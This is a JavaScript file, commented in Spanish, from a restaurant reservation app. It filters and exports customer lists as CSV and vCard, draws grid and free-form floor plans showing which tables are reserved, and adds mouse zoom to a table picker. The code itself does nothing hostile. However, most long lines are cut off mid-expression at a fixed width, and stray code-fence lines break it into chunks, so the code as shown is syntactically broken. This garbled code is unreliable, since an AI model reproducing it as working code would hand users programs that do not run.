// Aplica la búsqueda + el filtro adicional sobre clientesDB y devuelve la
// lista resultante — la usan tanto la tabla en pantalla como las dos
// exportaciones, así lo que se ve es exactamente lo que se descarga.
function clientesFiltrados(){
  const q = (document.getElementById('clientesBusqueda').value || '').trim().toLo
  const tipo = document.getElementById('clientesFiltroTipo').value;
  let lista = clientesDB.slice();
  if(q){
    lista = lista.filter(c =>
      (c.nombre||'').toLowerCase().includes(q) ||
      (c.telefono||'').toLowerCase().includes(q) ||
      (c.correo||'').toLowerCase().includes(q)
    );
  }
  if(tipo === 'cumple_mes'){
    const mesEl = document.getElementById('clientesFiltroMes');
    const mes = mesEl ? Number(mesEl.value) : null;
    if(mes){
      lista = lista.filter(c => c.cumpleanos && Number(c.cumpleanos.split('-')[1]
    }
  } else if(tipo === 'periodo'){
    const periodoEl = document.getElementById('clientesFiltroPeriodo');
    const periodo = periodoEl ? periodoEl.value : '';
    if(periodo){
      lista = lista.filter(c => (c.fechaPrimeraSolicitud||'').startsWith(periodo)
    }
  } else if(tipo === 'min_solicitudes'){
```

```
    const minEl = document.getElementById('clientesFiltroMin');
    const min = minEl ? Number(minEl.value) : 1;
    lista = lista.filter(c => Number(c.cantidadSolicitudes||0) >= min);
  }
  lista.sort((a,b) => (b.fechaUltimaSolicitud||'').localeCompare(a.fechaUltimaSol
  return lista;
}
function renderTablaClientes(){
  const lista = clientesFiltrados();
  document.getElementById('clientesSubtitulo').textContent = `${clientesDB.length
  if(lista.length === 0){
    document.getElementById('clientesTablaWrap').innerHTML = `<div style="color:#
    return;
  }
  const filas = lista.map(c => `
    <tr>
      <td>${escapeHtml(c.nombre||'—')}</td>
      <td>${escapeHtml(c.telefono||'—')}</td>
      <td>${escapeHtml(c.correo||'—')}</td>
      <td>${c.cumpleanos ? formatearCumple(c.cumpleanos) : '—'}</td>
      <td>${c.fechaPrimeraSolicitud ? formatearFechaLarga(c.fechaPrimeraSolicitud
      <td>${c.fechaUltimaSolicitud ? formatearFechaLarga(c.fechaUltimaSolicitud)
      <td style="text-align:center;"><b>${c.cantidadSolicitudes||0}</b></td>
    </tr>`).join('');
  document.getElementById('clientesTablaWrap').innerHTML = `
    <table>
      <thead><tr><th>Nombre</th><th>Teléfono</th><th>Correo</th><th>Cumpleaños</t
      <tbody>${filas}</tbody>
    </table>`;
}
function descargarArchivo(nombreArchivo, contenido, tipoMime){
  const blob = new Blob([contenido], { type: tipoMime });
  const url = URL.createObjectURL(blob);
  const a = document.createElement('a');
  a.href = url; a.download = nombreArchivo;
  document.body.appendChild(a); a.click(); document.body.removeChild(a);
  URL.revokeObjectURL(url);
}
// Escapa un valor para que sea seguro dentro de una celda CSV (comillas
// dobles si tiene coma, comillas o salto de línea).
function csvCelda(v){
  const s = (v===undefined||v===null) ? '' : String(v);
  if(/[",\n]/.test(s)) return '"' + s.replace(/"/g,'""') + '"';
  return s;
}
function exportarClientesCSV(){
  const lista = clientesFiltrados();
```

```
  const encabezados = ['Nombre','Apellido','Teléfono','Correo electrónico','Fecha
  const filas = lista.map(c => {
    // El nombre se guarda completo en un solo campo en toda la app; para
    // separar Nombre/Apellido en el Excel se usa la primera palabra como
    // nombre y el resto como apellido — es una separación aproximada,
    // porque el sistema nunca pide esos dos datos por separado.
    const partes = (c.nombre||'').trim().split(/\s+/);
    const nombrePila = partes[0] || '';
    const apellido = partes.slice(1).join(' ');
    return [nombrePila, apellido, c.telefono||'', c.correo||'', formatearCumple(c
      .map(csvCelda).join(',');
  });
  const csv = '\uFEFF' + encabezados.join(',') + '\n' + filas.join('\n'); // \uFE
  descargarArchivo(`clientes-la-matriarca-${fechaISO(new Date())}.csv`, csv, 'tex
}
function exportarClientesVCF(){
  const lista = clientesFiltrados();
  const tarjetas = lista.map(c => {
    const partes = (c.nombre||'').trim().split(/\s+/);
    const nombrePila = partes[0] || '';
    const apellido = partes.slice(1).join(' ');
    // El teléfono queda guardado como "+57 3001234567" — para el vCard se
    // deja sin espacios, que es el formato que mejor reconocen los
    // celulares al importar.
    const telVcard = (c.telefono||'').replace(/\s+/g,'');
    let bday = '';
    if(c.cumpleanos){
      const [y,m,d] = c.cumpleanos.split('-');
      if(y && m && d) bday = `BDAY:${y}${m}${d}\n`;
    }
    return [
      'BEGIN:VCARD',
      'VERSION:3.0',
      `N:${apellido};${nombrePila};;;`,
      `FN:${c.nombre||''}`,
      telVcard ? `TEL;TYPE=CELL:${telVcard}` : '',
      c.correo ? `EMAIL:${c.correo}` : '',
      bday ? bday.trim() : '',
      'END:VCARD'
    ].filter(Boolean).join('\n');
  });
  descargarArchivo(`clientes-la-matriarca-${fechaISO(new Date())}.vcf`, tarjetas.
}

/* ============ RENDER: PLANO ============ */
/* ============ PLANO REAL (día/turno actual sobre el plano maestro) ============
const ZONES_PLANO = {
```

```
  A: { left: 16, top: 7.5, width: 59, height: 37.61, cols: 9, rows: 5 },
  C: { left: 56.5, top: 47.77, width: 39.4, height: 28.83, cols: 4, rows: 5 }
};
const DISABLED_CELLS_PLANO = new Set(['A-4-6','A-4-7','A-4-8']);

function codeForPlano(m, prefType){
  const prefPart = prefType ? ('P' + prefType) : '';
  // En un plano de evento el código ya viene armado completo en m.num
  // (ej. "P1") — no se le agrega el prefijo de zona que sí usa General.
  if (PLANO_EVENTO_ACTUAL) return prefPart + m.num;
  const zonaPart = 'M' + (m.zona || '');
  return prefPart + zonaPart + m.num;
}
function parseKeyPlano(key){
  const parts = key.split('-');
  return { zone: parts[0], r: parseInt(parts[1],10), c: parseInt(parts[2],10) };
}
// Los salones (Puerta de Oro, Curramba, Arenosa, Lobby 1, Lobby 2) llevan
// "id" — con eso, en el selector de mesas (interactive=true) se pueden tocar
// igual que una mesa individual, quedan guardados en el campo "mesa" tal
// como cualquier código (ej. "SALON-ORO" o "PAMA1+SALON-ORO"), y toda la
// lógica de selección/ocupación que ya existe para mesas los reconoce sin
// cambios adicionales. Barra y Tarima quedan solo decorativas (no son
// espacio para sentar clientes).
function buildBackgroundPlano(interactive, estadoZonas, porMesaRef){
  const z = [
    { l:6.02, t:9.02, w:8.80, h:28.57, bg:'#ecc9a8', label:'BARRA' },
    { l:76.0, t:8.27, w:19.93, h:31.58, bg:'#6b6b6b', label:'TARIMA', color:'#fff
    { l:6.02, t:45.11, w:17.15, h:28.57, bg:'#e3a838', label:'SALÓN PUERTA DE ORO
    { l:23.17, t:45.11, w:9.73, h:28.57, bg:'#5a9e6f' },
    { l:32.90, t:45.11, w:6.49, h:28.57, bg:'#c9c9c9' },
    { l:39.39, t:45.11, w:8.80, h:28.57, bg:'#5a9e6f' },
    { l:48.19, t:45.11, w:7.41, h:28.57, bg:'#ecc9a8', label:'BARRA' },
    { l:12.97, t:73.68, w:26.41, h:16.54, bg:'#8ba888', label:'SALÓN CURRAMBA', i
    { l:39.39, t:73.68, w:16.22, h:16.54, bg:'#c98c6d', label:'SALÓN LA ARENOSA',
    { l:56.5, t:78, w:18, h:12, bg:'#a9b8c4', label:'LOBBY 1', id:'LOBBY1' },
    { l:76.9, t:78, w:18.5, h:12, bg:'#a9b8c4', label:'LOBBY 2', id:'LOBBY2' }
  ];
  return z.map(b => {
    if(interactive && b.id){
      const estado = estadoZonas ? estadoZonas[b.id] : null;
      const ocupada = estado === 'ocupada';
      const elegida = estado === 'elegida';
      const cls = elegida ? 'plano-zoneblock-elegida' : (ocupada ? 'plano-zoneblo
      const clickJs = ocupada ? '' : `onclick='toggleMesaSeleccion(${JSON.stringi
      return `<div class="plano-zoneblock ${cls}" ${clickJs} title="${escapeHtml(
    }
```

```
    // Vista de solo lectura: si este salón aparece en porMesaRef (viene del
    // mismo mapa "código de mesa/salón → reserva" que ya arma cada pantalla
    // para la cuadrícula de mesas), se marca como reservado con el nombre
    // del cliente — antes esto solo pasaba con mesas sueltas, nunca con un
    // salón VIP completo.
    if(b.id && porMesaRef){
      const reserva = porMesaRef[b.id.toLowerCase()];
      if(reserva){
        return `<div class="plano-zoneblock plano-zoneblock-reservado" style="lef
      }
    }
    return `<div class="plano-zoneblock" style="left:${b.l}%; top:${b.t}%; width:
  }).join('');
}
function buildZoneGridPlano(key, cfg, mesas, pref, porMesaRef, categorias, colorZ
  const secondary = new Set();
  Object.keys(mesas).forEach(mkey => {
    const mm = mesas[mkey];
    if (mm.span){
      const p = parseKeyPlano(mkey);
      if (p.zone !== key) return;
      const count = mm.span.count || 2;
      for (let i = 1; i < count; i++){
        const sr = mm.span.dir === 'v' ? p.r + i : p.r;
        const sc = mm.span.dir === 'h' ? p.c + i : p.c;
        secondary.add(key+'-'+sr+'-'+sc);
      }
    }
  });
  let cells = '';
  for (let r = 0; r < cfg.rows; r++){
    for (let c = 0; c < cfg.cols; c++){
      const mkey = key+'-'+r+'-'+c;
      if (secondary.has(mkey)) continue;
      if (DISABLED_CELLS_PLANO.has(mkey)){
        cells += `<div class="plano-cell" style="grid-column:${c+1}/span 1; grid-
        continue;
      }
      const m = mesas[mkey];
      const spanCount = (m && m.span) ? (m.span.count || 2) : 1;
      const colSpan = (m && m.span && m.span.dir === 'h') ? spanCount : 1;
      const rowSpan = (m && m.span && m.span.dir === 'v') ? spanCount : 1;
      const pos = `grid-column:${c+1}/span ${colSpan}; grid-row:${r+1}/span ${row
      let inner = '';
      if (m){
        const prefType = pref[mkey] || null;
        const codigo = codeForPlano(m, prefType);
```

```
        // El código de cada mesa (PAMA1, MB38, etc.) YA es su identificador —
        // no hace falta vincular nada a mano. Si alguna vez se puso un "ref"
        // manual, ese tiene prioridad; si no, se usa el código tal cual.
        const idMesa = (m.ref && m.ref.trim()) ? m.ref.trim() : codigo;
        const reserva = porMesaRef[idMesa.toLowerCase()];
        let estadoCls = 'p-libre';
        let guestName = '';
        if(reserva){
          estadoCls = (reserva.estado==='pendiente' || reserva.estado==='proceso_
          guestName = (reserva.nombre||'').split(' ')[0];
        }
        const clickJs = reserva ? `abrirModal(${JSON.stringify(reserva.id)})` : `
        // En un plano de evento el color de fondo es el de su zona (igual
        // que en Salones) — quién tiene la mesa se sigue viendo por el
        // nombre superpuesto. Cuando está ocupada, además se oscurece con
        // una sombra interna por encima de ese mismo color de zona (en vez
        // de cambiarlo por otro fijo) — así se nota a simple vista que está
        // tomada sin perder de vista de qué zona/categoría es. El color del
        // texto se recalcula según qué tan oscuro quede ESE resultado (no
        // el color de zona original) para que nunca se pierda, sea cual
        // sea el color que le hayan puesto a la zona en Salones.
        const colorMesa = categorias ? colorZona : null;
        const oscurecer = reserva ? 'box-shadow:inset 0 0 0 999px rgba(0,0,0,0.32
        const colorTexto = (colorMesa && reserva) ? `color:${colorTextoContraste(
        const estiloColor = colorMesa ? `style="background:${colorMesa}; ${oscure
        const capHtml = (categorias && m.cap) ? `<div class="plano-mesa-cap">${m.
        const precioHtml = (categorias && m.categoria && categorias[m.categoria])
        inner = `<div class="plano-mesa-core ${estadoCls}" ${estiloColor} onclick
      }
      cells += `<div class="plano-cell" style="${pos}">${inner}</div>`;
    }
  }
  return `<div class="plano-gridzone" style="left:${cfg.left}%; top:${cfg.top}%;
}

/* ============ PLANO DE FORMATO LIBRE (mesas/zonas con posición y tamaño
   propios — el mismo formato que arma el editor nuevo en Salones, ej.
   "PERMANENTE") ============
   A diferencia de buildZoneGridPlano/Picker (cuadrícula de filas y
   columnas), aquí cada mesa y zona ya trae su propia posición (x,y) y
   tamaño (w,h) en las mismas unidades del "salón" (plano.hall.{w,h}) que
   se editó en Salones — se dibujan en un lienzo de ese mismo tamaño y
   luego se escala con ajustarEscalaPlanoLibre(), igual que ya se hace con
   los planos de evento de tamaño fijo (880×640). Las zonas de kind 'vip' o
   'lobby' (salones VIP y lobbies completos, ej. "SALÓN ARENOSA") SÍ son
   reservables como si fueran una mesa grande — muestran su capacidad
   (z.cap) y se pueden seleccionar/ver su reserva igual que una mesa,
```

```
   equivalente a como funcionaban SALON-ORO/CURRAMBA/ARENOSA/LOBBY1/LOBBY2
   en el plano de cuadrícula viejo. El resto de kinds (tarima, barra,
   franja) siguen siendo solo referencia visual, sin click. */
function libreIdMesa(m){
  return (m.ref && String(m.ref).trim()) ? String(m.ref).trim() : m.num;
}
// Total de personas de la RESERVA (no la capacidad de la mesa): si una
// reserva ocupa varias mesas, en todas se muestra el total de la reserva.
function librePaxReservaHtml(reserva){
  const n = Number(reserva && reserva.pax) || 0;
  return n ? `<div class="plano-res-pax">${n} pers.</div>` : '';
}
// Selector de mesa: la mesa/zona ELEGIDA muestra las personas de la reserva
// que se está editando (campo Personas del formulario) en vez de su capacidad.
function librePaxElegidaHtml(){
  const n = Number((document.getElementById('fPax')||{}).value) || 0;
  const nom = (((document.getElementById('fNombre')||{}).value)||'').trim().split
  return (nom ? `<div class="plano-guest">${escapeHtml(nom)}</div>` : '') + (n ?
}
function libreMesaHtmlDisplay(m, porMesaRef, categorias){
  const idMesa = libreIdMesa(m);
  const idLower = String(idMesa).toLowerCase();
  const cat = (categorias && m.categoria) ? categorias[m.categoria] : null;
  let estadoCls = 'p-libre';
  let guestName = '';
  const reserva = porMesaRef ? porMesaRef[idLower] : null;
  if(reserva){
    estadoCls = (reserva.estado==='pendiente' || reserva.estado==='proceso_comerc
    guestName = (reserva.nombre||'').split(' ')[0];
  }
  const clickJs = reserva ? `onclick='abrirModal(${JSON.stringify(reserva.id)})'`
  // Cuando la mesa ya tiene una reserva encima, el nombre del cliente es lo
  // importante para ubicarla de un vistazo — se prioriza sobre la
  // capacidad/precio (que solo importan mientras la mesa está libre) para
  // que el nombre tenga espacio de sobra y nunca se recorte.
  const capHtml = (!reserva && m.cap) ? `<div class="plano-mesa-cap">${m.cap}p</d
  const precioHtml = (!reserva && cat && cat.precio) ? `<div class="plano-mesa-pr
  const bg = m.color ? `background:${m.color};` : '';
  return `<div class="plano-mesa-libre ${estadoCls} ${m.shape==='circle'?'circulo
}
function libreMesaHtmlPicker(m, ocupadasPorOtro, categorias){
  const idMesa = libreIdMesa(m);
  const idLower = String(idMesa).toLowerCase();
  const cat = (categorias && m.categoria) ? categorias[m.categoria] : null;
  const elegida = mesaSeleccionTemp.includes(idMesa);
  const ocupada = !elegida && ocupadasPorOtro && ocupadasPorOtro[idLower];
  const cls = elegida ? 'p-elegida' : (ocupada ? 'p-ocupada-otra' : 'p-libre');
```

```
  const clickJs = ocupada ? '' : `onclick='toggleMesaSeleccion(${JSON.stringify(i
  const colorMesa = (!elegida && !ocupada) ? m.color : null;
  const bg = colorMesa ? `background:${colorMesa};` : '';
  const capHtml = (!elegida && m.cap) ? `<div class="plano-mesa-cap">${m.cap}p</d
  const precioHtml = (!elegida && cat && cat.precio) ? `<div class="plano-mesa-pr
  const resHtml = elegida ? librePaxElegidaHtml() : '';
  return `<div class="plano-mesa-libre ${cls} ${m.shape==='circle'?'circulo':''}"
}
// Zonas de kind 'vip' o 'lobby' son salones/lobbies completos que SÍ se
// pueden reservar como si fueran una mesa grande (igual que antes
// SALON-ORO/CURRAMBA/ARENOSA/LOBBY1/LOBBY2 en el plano de cuadrícula) —
// el resto de kinds (tarima, barra, franja) siguen siendo solo
// decorativos, sin click ni estado de reserva.
const ZONA_KINDS_RESERVABLES = new Set(['vip', 'lobby']);
// Las zonas no tienen un código fijo como las mesas (ref/num) — se
// identifican por su propio nombre (z.label, ej. "SALÓN ARENOSA"), que es
// lo que el staff ve y reconoce. Si por algún motivo queda sin nombre, se
// usa su id interno para no perder la reserva.
function libreIdZona(z){
  return (z.label && String(z.label).trim()) ? String(z.label).trim() : z.id;
}
function libreZonaCapHtml(z){
  return z.cap ? `<div class="plano-zona-libre-sub">Máx. ${z.cap}p</div>` : '';
}
function libreZonaHtmlDecorativa(z){
  const bg = z.color ? `background:${z.color};` : '';
  const label = (z.label||'').trim();
  const sub = (z.sub||'').trim();
  return `<div class="plano-zona-libre" style="left:${z.x}px; top:${z.y}px; width
}
function libreZonaHtmlDisplay(z, porMesaRef){
  if(!ZONA_KINDS_RESERVABLES.has(z.kind)) return libreZonaHtmlDecorativa(z);
  const label = (z.label||'').trim();
  const idZona = libreIdZona(z);
  const idLower = String(idZona).toLowerCase();
  const reserva = porMesaRef ? porMesaRef[idLower] : null;
  let estadoCls = 'p-libre';
  let guestName = '';
  if(reserva){
    estadoCls = (reserva.estado==='pendiente' || reserva.estado==='proceso_comerc
    guestName = (reserva.nombre||'').split(' ')[0];
  }
  const colorZona = !reserva ? z.color : null;
  const bg = colorZona ? `background:${colorZona};` : '';
  const clickJs = reserva ? `onclick='abrirModal(${JSON.stringify(reserva.id)})'`
  // Igual que con las mesas: con una reserva encima, el nombre del cliente
  // importa más que la capacidad — se prioriza para que quepa sin recortarse.
```

```
  const capHtml = reserva ? '' : libreZonaCapHtml(z);
  return `<div class="plano-zona-libre reservable ${estadoCls}" style="left:${z.x
}
function libreZonaHtmlPicker(z, ocupadasPorOtro){
  if(!ZONA_KINDS_RESERVABLES.has(z.kind)) return libreZonaHtmlDecorativa(z);
  const label = (z.label||'').trim();
  const idZona = libreIdZona(z);
  const idLower = String(idZona).toLowerCase();
  const elegida = mesaSeleccionTemp.includes(idZona);
  const ocupada = !elegida && ocupadasPorOtro && ocupadasPorOtro[idLower];
  const cls = elegida ? 'p-elegida' : (ocupada ? 'p-ocupada-otra' : 'p-libre');
  const colorZona = (!elegida && !ocupada) ? z.color : null;
  const bg = colorZona ? `background:${colorZona};` : '';
  const clickJs = ocupada ? '' : `onclick='toggleMesaSeleccion(${JSON.stringify(i
  return `<div class="plano-zona-libre reservable ${cls}" style="left:${z.x}px; t
}
function buildLibrePlanoDisplay(plano, porMesaRef){
  const hall = plano.hall || {w:880, h:640};
  const zonas = Object.values(plano.zonas||{});
  const mesas = Object.values(plano.mesas||{});
  const categorias = plano.categorias || {};
  const body = zonas.map(z => libreZonaHtmlDisplay(z, porMesaRef)).join('') + mes
  return `<div class="plano-canvas-libre" data-design-w="${hall.w}" data-design-h
}
function buildLibrePlanoPicker(plano, ocupadasPorOtro){
  const hall = plano.hall || {w:880, h:640};
  const zonas = Object.values(plano.zonas||{});
  const mesas = Object.values(plano.mesas||{});
  const categorias = plano.categorias || {};
  const body = zonas.map(z => libreZonaHtmlPicker(z, ocupadasPorOtro)).join('') +
  return `<div class="plano-canvas-libre" data-design-w="${hall.w}" data-design-h
}
// Igual que ajustarEscalaPlanoApp (más abajo) pero para un lienzo de
// tamaño VARIABLE (el "salón" de cada plano libre puede tener cualquier
// w/h, a diferencia del 880×640 fijo de los planos de evento) — el
// tamaño de diseño se lee de data-design-w/h, que buildLibrePlano*
// escribe en el propio lienzo.
function ajustarEscalaPlanoLibre(wrapSelector, innerSelector){
  const wrap = document.querySelector(wrapSelector);
  const inner = document.querySelector(innerSelector);
  if(!wrap || !inner) return;
  const designWidth = Number(inner.dataset.designW) || 880;
  const designHeight = Number(inner.dataset.designH) || 640;
  const aplicar = () => {
    const availW = wrap.clientWidth || designWidth;
    const scale = availW / designWidth;
    inner.style.transform = 'scale(' + scale + ')';
```

```
    inner.style.transformOrigin = 'top left';
    wrap.style.height = Math.round(designHeight * scale) + 'px';
  };
  aplicar();
  if(window.ResizeObserver && !_planoAppObservers.has(wrap)){
    const ro = new ResizeObserver(aplicar);
    ro.observe(wrap);
    _planoAppObservers.set(wrap, ro);
  } else if(!window.ResizeObserver){
    requestAnimationFrame(() => requestAnimationFrame(aplicar));
  }
}

// El plano de evento se dibuja siempre a su tamaño de diseño fijo
// (880×640, el mismo que usa el editor de Salones) y esto lo ajusta con
// CSS al ancho real disponible — lo encoge si el espacio es más chico
// (celular angosto) y lo AGRANDA si sobra espacio (como en el informe
// para imprimir, que es más ancho que un celular) — así llena la hoja en
// vez de quedar pequeño con espacio vacío al lado. Se ve igual en
// Salones, "Por día → Plano", el selector de mesas y el informe.
// OJO: en vez de calcular el ancho una sola vez justo después de pintar
// (que puede fallar si el modal/overlay todavía no terminó de acomodarse
// en pantalla — el hueco vacío que se veía en el informe era justo eso),
// se usa un ResizeObserver que reaplica la escala cada vez que el
// contenedor cambia de tamaño de verdad, sin depender de adivinar el
// momento exacto.
const _planoAppObservers = new WeakMap();
function ajustarEscalaPlanoApp(wrapSelector, innerSelector){
  const wrap = document.querySelector(wrapSelector);
  const inner = document.querySelector(innerSelector);
  if(!wrap || !inner || !inner.classList.contains('evento')) return;
  const designWidth = 880, designHeight = 640;
  const aplicar = () => {
    const availW = wrap.clientWidth || designWidth;
    const scale = availW / designWidth;
    inner.style.transform = 'scale(' + scale + ')';
    inner.style.transformOrigin = 'top left';
    wrap.style.height = Math.round(designHeight * scale) + 'px';
  };
  aplicar();
  if(window.ResizeObserver && !_planoAppObservers.has(wrap)){
    const ro = new ResizeObserver(aplicar);
    ro.observe(wrap);
    _planoAppObservers.set(wrap, ro);
  } else if(!window.ResizeObserver){
    requestAnimationFrame(() => requestAnimationFrame(aplicar));
  }
```

```
}
window.addEventListener('resize', () => {
  ajustarEscalaPlanoApp('#planoScrollWrap', '#planoScrollWrap .plano-canvas-app')
  ajustarEscalaPlanoApp('#mesaPickerScrollWrap', '#mesaPickerCanvas');
  ajustarEscalaPlanoLibre('#planoScrollWrap', '#planoScrollWrap .plano-canvas-lib
  ajustarEscalaPlanoLibre('#mesaPickerScrollWrap', '#mesaPickerCanvas .plano-canv
});

/* ===== ZOOM MANUAL DEL SELECTOR DE MESA (para computador con mouse) =====
   En el celular el staff puede pellizcar con los dedos para hacer zoom
   sobre el plano y ver bien la mesa antes de elegirla. En computador, sin
   pantalla táctil, no existe ese gesto — así que aquí se agrega un control
   de zoom manual (botones +/-/"Ajustar", más rueda del mouse para
   acercar/alejar y arrastrar con el mouse para moverse) que actúa ENCIMA
   del ajuste automático que ya deja el plano completo la primera vez que
   se abre (ajustarEscalaPlanoApp/Libre, sin tocar). Solo vive dentro del
   selector de mesas — no afecta la pestaña "Plano" ni el informe. */
let mesaPickerZoom = 1;
const MESA_PICKER_ZOOM_MIN = 1;
const MESA_PICKER_ZOOM_MAX = 3.2;

function aplicarZoomManualPicker(){
  const wrap = document.getElementById('mesaPickerScrollWrap');
  const canvasApp = document.getElementById('mesaPickerCanvas');
  if(!wrap || !canvasApp) return;
  const inner = canvasApp.classList.contains('libre') ? canvasApp.querySelector('
  if(!inner) return;
  // La escala "de ajuste" (el plano completo cabiendo en el recuadro) ya la
  // dejó puesta ajustarEscalaPlanoApp/Libre justo antes de llamar aquí —
  // se lee de su propio transform y se multiplica por el zoom manual.
  const m = /scale\(([^)]+)\)/.exec(inner.style.transform || '');
  const baseScale = m ? Number(m[1]) : 1;
  inner.style.transform = 'scale(' + (baseScale * mesaPickerZoom) + ')';
  inner.style.transformOrigin = 'top left';
  const zoomActivo = mesaPickerZoom > 1.001;
  wrap.classList.toggle('zoom-activo', zoomActivo);
  wrap.style.overflow = zoomActivo ? 'auto' : 'hidden';
  if(zoomActivo){
    wrap.style.height = Math.min(wrap.clientHeight || 380, Math.round(window.inne
  }
  const label = document.getElementById('mesaPickerZoomLabel');
  if(label) label.textContent = Math.round(mesaPickerZoom * 100) + '%';
  const btnMenos = document.getElementById('mesaPickerZoomMenos');
  if(btnMenos) btnMenos.disabled = mesaPickerZoom <= MESA_PICKER_ZOOM_MIN + 0.001
  const btnMas = document.getElementById('mesaPickerZoomMas');
  if(btnMas) btnMas.disabled = mesaPickerZoom >= MESA_PICKER_ZOOM_MAX - 0.001;
}
```

```
function cambiarZoomMesaPicker(delta){
  mesaPickerZoom = Math.min(MESA_PICKER_ZOOM_MAX, Math.max(MESA_PICKER_ZOOM_MIN,
  aplicarZoomManualPicker();
}
function restablecerZoomMesaPicker(){
  mesaPickerZoom = 1;
  aplicarZoomManualPicker();
  const wrap = document.getElementById('mesaPickerScrollWrap');
  if(wrap){ wrap.scrollLeft = 0; wrap.scrollTop = 0; }
}
// Arrastrar con el mouse para moverse por el plano ya con zoom aplicado
// (con el mouse no se puede "deslizar" con el dedo como en el celular), y
// rueda del mouse para acercar/alejar sin tener que tocar los botones.
(function(){
  const wrap = document.getElementById('mesaPickerScrollWrap');
  if(!wrap) return;
  let arrastrando = false, moved = false, startX = 0, startY = 0, startLeft = 0,
  wrap.addEventListener('mousedown', (e) => {
    if(mesaPickerZoom <= 1.001) return; // sin zoom no hace falta arrastrar
    arrastrando = true; moved = false;
    startX = e.clientX; startY = e.clientY;
    startLeft = wrap.scrollLeft; startTop = wrap.scrollTop;
    wrap.classList.add('arrastrando');
  });
  window.addEventListener('mousemove', (e) => {
    if(!arrastrando) return;
    const dx = e.clientX - startX, dy = e.clientY - startY;
    if(Math.abs(dx) > 4 || Math.abs(dy) > 4) moved = true;
    wrap.scrollLeft = startLeft - dx;
    wrap.scrollTop = startTop - dy;
  });
  window.addEventListener('mouseup', () => {
    if(arrastrando && moved){
      // evita que el "soltar" después de arrastrar dispare por accidente el
      // click de una mesa que haya quedado justo debajo del cursor
      wrap.dataset.justDragged = '1';
      setTimeout(() => { delete wrap.dataset.justDragged; }, 80);
    }
    arrastrando = false;
    wrap.classList.remove('arrastrando');
  });
  wrap.addEventListener('click', (e) => {
    if(wrap.dataset.justDragged){ e.stopPropagation(); e.preventDefault(); }
  }, true);
  wrap.addEventListener('wheel', (e) => {
    e.preventDefault();
    cambiarZoomMesaPicker(e.deltaY > 0 ? -0.3 : 0.3);
```

```
  }, { passive:false });
})();


// Botón manual "🔄 Actualizar" en el plano — por si algo dejó la pantalla
// congelada con datos viejos (un modal que se quedó abierto de fondo, o
// cualquier otra causa) y el staff no quiere esperar a que se resuelva
// solo. Cierra cualquier modal atascado y vuelve a dibujar todo de cero
// con los datos más recientes que la app ya tiene en memoria.
function forzarRefrescoPlano(){
  const overlayForzado = document.getElementById('overlay');
  if(overlayForzado){ overlayForzado.classList.remove('open'); }
  renderAll();
}

function renderPlano(){
  const fechaVista = fechaISO(fechaActual);
  const evConPlano = eventosCache.find(e => e.fecha === fechaVista && e.planoId &
  const planoIdEvento = evConPlano ? evConPlano.planoId : null;

  // Si el día que se está viendo cae en un evento con plano propio y
  // todavía no se ha descargado, se descarga una sola vez (se cachea) y
  // se vuelve a llamar renderPlano() cuando esté listo.
  if (planoIdEvento && !planoEventoCacheById.hasOwnProperty(planoIdEvento)){
    document.getElementById('panelPlano').innerHTML = '<div class="plano-vacio">C
    db.collection('planosMesasEventos').doc(planoIdEvento).get().then(doc => {
      let parsed = null;
      if (doc.exists && doc.data().json){
        try { parsed = JSON.parse(doc.data().json); } catch(e){ console.error('Pl
      }
      if(parsed) parsed.__formato = (doc.data() && doc.data().formato) || 'grid';
      planoEventoCacheById[planoIdEvento] = parsed;
      renderPlano();
    }).catch(err => {
      console.error('Error cargando el plano del evento:', err);
      planoEventoCacheById[planoIdEvento] = null;
      renderPlano();
    });
    return;
  }

  const usandoPlanoEvento = !!(planoIdEvento && planoEventoCacheById[planoIdEvent
  const planoUsado = usandoPlanoEvento ? planoEventoCacheById[planoIdEvento] : PL
  if(!planoUsado){
    document.getElementById('panelPlano').innerHTML = `
      <div class="plano-vacio">
        Todavía no hay un plano maestro configurado.<br>
```

```
      Ve a <b>Salones</b> para diseñar la distribución del restaurante.
    </div>`;
  return;
}
const rs = reservasDelTurno().filter(r=>r.estado!=='cancelada');
const porMesaRef = {};
rs.forEach(r=>{
  if(!r.mesa) return;
  // Una reserva puede tener varias mesas unidas, guardadas como "A+B+C".
  r.mesa.split('+').forEach(ref => { porMesaRef[ref.trim().toLowerCase()] = r;
});

const legend = `<div class="legend">
  <div class="legend-item"><span class="legend-dot" style="background:var(--con
  <div class="legend-item"><span class="legend-dot" style="background:var(--pen
  <div class="legend-item"><span class="legend-dot" style="background:#0a2f31;
  <button type="button" onclick="forzarRefrescoPlano()" style="margin-left:auto
</div>`;

const mesas = planoUsado.mesas || {};
const pref = planoUsado.pref || {};
// codeForPlano() decide el formato del código mirando esta variable
// global — se deja en el estado que corresponde a lo que se está
// pintando aquí (se sobreescribe otra vez cada vez que se abre el
// selector de mesas de una reserva, así que no hay conflicto entre
// las dos pantallas).
PLANO_EVENTO_ACTUAL = usandoPlanoEvento ? planoUsado : null;
// El formato (grid o libre) depende de CUÁL plano se está usando: si es
// un plano de evento, se fija a él (planoUsado.__formato, ver los
// puntos donde se descarga y cachea); si es el General, depende de si
// Salones activó un plano libre como General (PLANO_MAESTRO_FORMATO).
const formatoUsado = usandoPlanoEvento ? (planoUsado.__formato || 'grid') : PLA
let canvasHtml;
if(formatoUsado === 'libre'){
  canvasHtml = buildLibrePlanoDisplay(planoUsado, porMesaRef);
} else if(usandoPlanoEvento){
  canvasHtml = `<div class="plano-canvas-app evento">
      ${Object.keys(planoUsado.bloques||{}).map(bid => {
          const b = planoUsado.bloques[bid];
          return `<div class="plano-zoneblock" style="left:${b.left}%; top:${b.
        }).join('')}
      ${Object.keys(planoUsado.zonas||{}).map(zid => {
          const z = planoUsado.zonas[zid];
          let etiqueta = '';
          if(z.labelSide === 'left'){
            etiqueta = `<div class="plano-zona-label-lateral flip" style="left:
          } else if(z.labelSide === 'right'){
```

```
              etiqueta = `<div class="plano-zona-label-lateral" style="left:${z.l
            }
            return etiqueta + buildZoneGridPlano(zid, z, mesas, pref, porMesaRef,
          }).join('')}
      </div>`;
  } else {
    canvasHtml = `<div class="plano-canvas-app">
        ${buildBackgroundPlano(false, null, porMesaRef)}
        ${buildZoneGridPlano('A', ZONES_PLANO.A, mesas, pref, porMesaRef)}
        ${buildZoneGridPlano('C', ZONES_PLANO.C, mesas, pref, porMesaRef)}
      </div>`;
  }

  const necesitaEscala = usandoPlanoEvento || formatoUsado === 'libre';
  const canvasFinal = necesitaEscala
    ? `<div class="plano-canvas-scroll-wrap" id="planoScrollWrap">${canvasHtml}</
    : canvasHtml;
  document.getElementById('panelPlano').innerHTML = legend + canvasFinal;
